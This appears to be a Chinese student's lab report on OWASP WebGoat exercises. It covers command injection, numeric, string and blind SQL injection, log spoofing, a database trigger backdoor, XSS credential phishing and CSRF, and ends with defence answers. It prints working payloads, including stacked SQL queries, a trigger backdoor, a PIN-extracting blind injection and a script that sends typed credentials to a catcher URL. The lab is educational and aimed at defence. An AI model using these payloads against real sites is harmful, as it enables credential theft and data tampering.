目录
-
1. 实验步骤
- 1.1 JDK1.8 & WebGoat
-
1.2 SQL
- 1.2.1 Command Injection
- 1.2.2 Numeric SQL Injection
- 1.2.3 Log Spoofing
- 1.2.4 String SQL Injection
-
1.2.5 LAB:SQL Injection
- stage1:String SQL Injection
- stage 3:Numeric SQL Injection
- 1.2.6 Database Backdoors
- 1.2.7 Blind Numeric SQL Injection
- 1.3 XSS
- 1.4 CSRF
- 问题回答
- 总结
实验步骤
- 实验系统:Kali Linux
- 浏览器:Chorme
JDK1.8 & WebGoat
- JDK1.8WebGoat需要Java SE8的支持
- jdk-8u251-linux-x64.tar.gz下载地址:https://www.oracle.com/java/technologies/javase-jdk8-downloads.html
- 配置参考:Kali-JDK1-8安装
- 确认安装完成:
java -version
- WebGoat
- WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,目前提供的训练课程有很多,包含了XSS、线程安全、SQL注入、访问控制、隐藏字段、Cookie等。
- webgoat-container-7.0.1-war-exec.jar下载地址:https://github.com/WebGoat/WebGoat/releases?after=8.0.0
- 运行:
java -jar webgoat-container-7.0.1-war-exec.jar
注意:要在webgoat-container-7.0.1-war-exec.jar文件夹下
- 在浏览器中输入
http:.//localhost:8080/WebGoat
进入登陆界面,输入下方提示的用户名和密码登录
4。 登陆成功
SQL
- SQL注入攻击,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的攻击
Command Injection
左侧功能栏中选中:Injection Flaws—>Command Injection
- 原理:在正常的参数提交过程中添加恶意代码以执行某条指令
- 操作:在操作页面,右键→检查→修改源代码
- 单击复选框按钮快速找到对应的代码
- 定位到下拉框
- 修改对应代码:
AccessControlMatrix.help
→AccessControlMatrix.help"& netstat -an & ipconfig"
- 点击
View
- 点击
View
后可以看到网络端口使用情况和IP地址
Numeric SQL Injection
左侧功能栏中选中:Injection Flaws—>Numeric SQL Injection
- 原理:在station 字段中注入特征字符,能组合成新的SQL 语句:
SELECT * FROM weather_data WHERE station = [station]
- 操作:在操作页面,右键→检查→修改源代码
- 单击复选框按钮快速找到对应的代码
- 定位到下拉框
- 修改对应代码:
value="101"
→value="101 or 1=1"
- 点击
Go
Log Spoofing
- 目的:用户名为admin的用户在日志中显示成功登录
- 原理:利用回车0D%和换行符%0A让内容在日志中两行显示
- 操作:
- User Name中填入:
ln5207%0d%0aLogin Succeeded for username: admin
- Password中随便填
- 点击
Login
String SQL Injection
- 原理:通过注入字符串绕过验证。
- 操作:
- Enter your last name:中填入:
‘or 1=1--
注意:‘
提前闭合""
,1=1
是永真式,--
注释掉后面内容 - 点击
Go
LAB:SQL Injection
stage1:String SQL Injection
- 目的:使用SQL注入绕过认证
- 操作:在操作页面,右键→检查→修改源代码
- 单击复选框按钮快速找到对应的代码
- 定位到Password输入框
- 修改对应代码:
maxlength="8"
→maxlength="18"
- 点击
Login
- 登录人员的下拉框选择admin身份的用户,Password输入:
hello‘ or ‘1‘ = ‘1
- 成功登录
stage 3:Numeric SQL Injection
- 原理:通过注入数字型数据,绕过认证
- 目的:可以通过普通员工的账户,查看到其他用户信息。
- 操作:
- 使用员工Larry,密码larry登录,点击
ViewProfile
查看用户信息
- 单击复选框按钮快速找到对应的代码
- 定位到下拉框
- 修改对应代码:
value="101"
→value="101 or 1=1 order by salary desc"
- 点击
ViewProfile
,查询到的是薪资最高的人员信息
Database Backdoors
- 原理:创建数据库触发器
- 操作:
- User ID输入:
101
,回车,查看信息
- User ID输入:
101; update employee set salary=18000
,回车,执行了两个语句,查看信息,Salary变为18000
- User ID输入:
101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=‘ln5207@besti.com‘WHERE userid = NEW.userid
,回车,查看信息
- BEFORE/AFTER :指定了触发执行的时间,在事件之前或是之后。
- FOR EACH ROW :表示任何一条记录上的操作满足触发事件都会触发该触发器,也就是说触发器的触发频率是针对每一行数据触发一次
- 之后当用户更新设置邮箱时,就会设置成攻击者的地址
Blind Numeric SQL Injection
- 原理:某些SQL注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必需充分利用查询语句,构造子查询语。
- 操作:
- Enter your Account number输入:
101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) > 5000 );
Invalid account number
表示得到结果为无效,故而判断pin值是小于5000的。
- 使用二分法缩小范围不断查找,>2500(?),>1250(?),>1875(?),>2187(?)……
- 输入
101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) = 2364 );
Account number is valid
表示得到结果有效,成功找到正确pin值
字符串型盲注入与此类似,不再赘述
XSS
左侧功能栏中选中:Cross-Site Scriptig(XSS)→Pushing with XSSPushing with XSS
- 目的:创建一个form要求填写用户名和密码
- 操作:
- Search中输入如下代码:
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
- 输入用户名和密码,读取在表单上输入的用户名和密码信息并发送给捕获这些信息的WebGoat
Stored XSS Attacks
- 原理:输入JavaScript脚本保存在数据库中,任何用户在打开网页的时候,脚本从数据库中取出来而运行
- 操作:
- Title中输入任意内容
- Message中输入:
- 点击
Submit
- 点击下方生成的链接,出现弹窗
Reflected XSS Attacks
- 原理:通过使用攻击脚本创建一个URL,并将其发布到另一个网站,通过电子邮件引诱用户点击实现攻击
- 操作:
- Enter your three digit access code:
<script>alert("Warning!");</script>
- 点击
Submit
CSRF
Cross Site Request Forgery(CSRF)
- 目的:向一个新闻组发送一封包含图像的邮件,图像的URL指向一个恶意请求
- 操作
- 查看右边栏Parameters中scr和menu的值
2. Title中随意输入
3. Message中输入:<img src="http://localhost:8080/WebGoat/attack?Screen=313&menu=900&transferFunds=5000" width="1" height="1" />
注意修改Screen和menu的值
4. 点击Submit
CSRF Prompt By-Pass
- 操作:
- 查看右边栏Parameters中scr和menu的值
2. Title中随意输入
3. Message中输入:
<iframe src="attack?Screen=277&menu=900&transferFunds=5314"> </iframe>
<iframe src="attack?Screen=277&menu=900&transferFunds=CONFIRM"> </iframe>
- 点击
Submit
生成以Title
命名的链接,点击链接攻击成功
问题回答
- SQL注入攻击原理,如何防御
- 原理:
- SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
- 防御:
- 对用户输入进行校验/限制--可以通过正则表达式,或限制长度,对单引号和双"-"进行转换等
- 不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取
- 不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接
- 不要把机密信息直接存放,加密或者hash掉密码和敏感的信息
- 采取辅助软件或网站平台来检测
- XSS攻击的原理,如何防御
- 原理:
- 跨站脚本攻击(Cross Site Scripting),缩写为XSS。恶意攻击者往Web页面里插入恶意javaScript代码,当用户浏览该页之时,嵌入其中Web里面的javaScript代码会被执行,从而达到恶意攻击用户的目的。
- 防御:
- HTML节点内容的防御--将用户输入的内容进行转义
- HTML属性的防御--对空格,单引号,双引号进行转义
- JavaScript的防御--对引号进行转义
- 富文本的防御--通过黑名单和白名单过滤
- 内容安全策略(Content Security Policy,简称CSP)
- CSRF攻击原理,如何防御
- 原理:
- (Cross Site Request Forgery, 跨站域请求伪造)是一种网络的攻击方式,它在 2007 年曾被列为互联网 20 大安全隐患之一,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用也就是人们所知道的钓鱼网站。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,并且攻击方式几乎相左。XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。
- 防御:
- 验证 HTTP Referer 字段
- 在请求地址中添加 token 并验证
- 在 HTTP 头中自定义属性并验证
总结
最后一次实验,虽然总体难度不大,但涉及到了许多内容。最大的收获是对SQL语句更加熟练,学习了WebGoat工具的使用,了解了更多的攻击和防御相关知识,提高了防范意识,也对自己设计的一些程序多了一种安全审视的角度。